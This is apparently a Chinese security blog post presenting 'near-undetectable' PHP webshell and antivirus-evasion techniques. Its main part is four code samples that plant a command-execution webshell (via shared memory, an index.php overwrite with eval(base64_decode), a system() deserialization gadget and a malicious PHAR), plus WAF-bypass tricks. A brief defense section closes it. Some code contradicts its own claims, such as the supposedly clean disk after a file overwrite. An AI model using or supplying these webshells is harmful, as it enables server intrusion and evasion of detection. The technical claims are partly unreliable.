JOJO朦

H4ckBu7eer

PHP免杀顶级思路

顶级难度 PHP Webshell 思路(近乎不可检测)

1. 文件无痕驻留(Fileless)+ 多态内存马

  • 不落地执行:完全不生成任何磁盘文件,代码仅在内存中运行。

  • 动态 Hook:利用 PHP 扩展或 FPM 机制劫持核心函数,在内存中动态植入恶意逻辑,持续驻留。


2. PHP 反序列化链(POP 链)执行

  • 反序列化漏洞:利用已知的 PHP 反序列化漏洞(如 Laravel、ThinkPHP)动态执行 Webshell,代码本身不包含任何敏感函数。

  • Gadget 链:构造复杂的反序列化链,混淆恶意代码路径,使得静态和动态分析都难以捕获。


3. JIT 动态生成与删除(OPcache 攻击)

  • OPcache 注入:利用 OPcache 机制,在代码运行时动态修改或注入恶意代码,并在触发后自动清除,确保文件系统无痕。

  • 时间窗口触发:在特定时间内注入恶意代码,超时自动回滚,避免长期驻留暴露风险。


4. 利用合法协议绕过 WAF

  • 通过 phar://, zip://, data://, ftp:// 等协议嵌套 payload,使恶意代码隐藏在非直接执行路径中,绕过 URL 规则检测。

  • 使用 base64 编码或 ROT13 变体嵌套,进一步增加绕过难度。


5. 网络马(反向代理内存马)

  • 利用 PHP Swoole 或 WebSocket 技术,建立长连接反向代理。

  • 代码执行入口隐藏在合法业务逻辑内,仅在接收特定远程指令时激活 Webshell。



实战案例:不可检测的高端 PHP Webshell

1. 无文件驻留内存马(PHP FPM 注入)

php复制代码<?php$fpm_pid = shell_exec('pgrep php-fpm');if ($fpm_pid) {    $payload = base64_encode("echo shell_exec(\$_POST['cmd']);");    $shared_mem = shmop_open($fpm_pid, "c", 0644, strlen($payload));    shmop_write($shared_mem, $payload, 0);    register_shutdown_function(function() use ($shared_mem) {        shmop_delete($shared_mem);        shmop_close($shared_mem);
    });    echo "Injection successful.";
} else {    echo "php-fpm not found.";
}?>

核心特点:

  • 驻留方式:Payload 被直接写入 php-fpm 的共享内存段,通过进程劫持实现恶意代码驻留。

  • 自删除机制:代码执行完毕后,自动销毁自身及共享内存,系统中无任何文件痕迹。

  • 检测难度:无磁盘落地,传统文件扫描、流量检测均难以捕获。



2. OPcache 动态注入与自动清除

php复制代码<?php$cache_file = opcache_compile_file('/var/www/html/index.php');$payload = base64_encode("echo shell_exec(\$_POST['cmd']);");$ptr = opcache_invalidate('/var/www/html/index.php');file_put_contents('/var/www/html/index.php', "<?php eval(base64_decode('$payload')); ?>");// 自动清理register_shutdown_function(function() {    opcache_reset();
});?>

核心特点:

  • JIT 动态修改:通过 opcache_compile_fileinvalidate API 动态修改 PHP 文件,注入恶意代码后立即恢复,文件系统无痕。

  • 回滚机制:注册关闭钩子,在代码执行完毕后立即触发 OPcache 重置,避免长期驻留。

  • 代码隐匿性:由于恶意代码仅在 OPcache 层修改,磁盘上的 PHP 文件始终保持干净状态。



3. PHP POP 反序列化链执行

php复制代码<?phpclass Exploit {    public $cmd;    public function __destruct() {        system($this->cmd);
    }
}$payload = serialize(new Exploit());echo base64_encode($payload);

攻击方式:

  • 通过反序列化漏洞触发 POP 链,在目标 PHP 应用程序内动态执行反序列化。

  • 代码仅在反序列化触发时执行,无需直接包含敏感函数。



4. PHAR 文件劫持与协议绕过

php复制代码<?php$phar = new Phar('exploit.phar');$phar->startBuffering();$phar->addFromString('test.txt', 'test');$phar->setStub('<?php __HALT_COMPILER(); ?>');$phar->setMetadata(['cmd' => 'echo shell_exec("id");']);$phar->stopBuffering();?>

攻击方式:

  • 上传 phar 文件到目标服务器后,通过 phar:// 协议触发反序列化执行 payload,避免直接访问恶意 PHP 文件。

  • 恶意代码藏在文件 metadata 中,绕过静态文件扫描。



防御建议(针对高难度免杀 Webshell)

1. eBPF 实时监控 PHP 进程内存

  • 使用 eBPF 监控 PHP 进程共享内存,捕获动态注入的恶意代码段。

  • 针对 php-fpm 共享内存段进行完整性校验,防止内存马驻留。


2. 禁用危险协议与函数

  • php.ini 中禁用 phar://, data://, zip:// 等动态加载协议。

  • 禁用 opcache_invalidatedl() 等动态修改核心文件的函数。


3. 基于流量的反序列化检测

  • 通过 WAF 或 IDS 系统检测 PHP 序列化流量,阻断潜在反序列化漏洞攻击。

  • 针对 PHP 反序列化行为进行特征匹配,阻止反序列化链攻击。



总结

这种级别的 Webshell 涉及多态、自修改代码、内存驻留、反序列化链和 JIT 动态注入等技术,难度接近 APT 水平,极难检测和防御。


发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言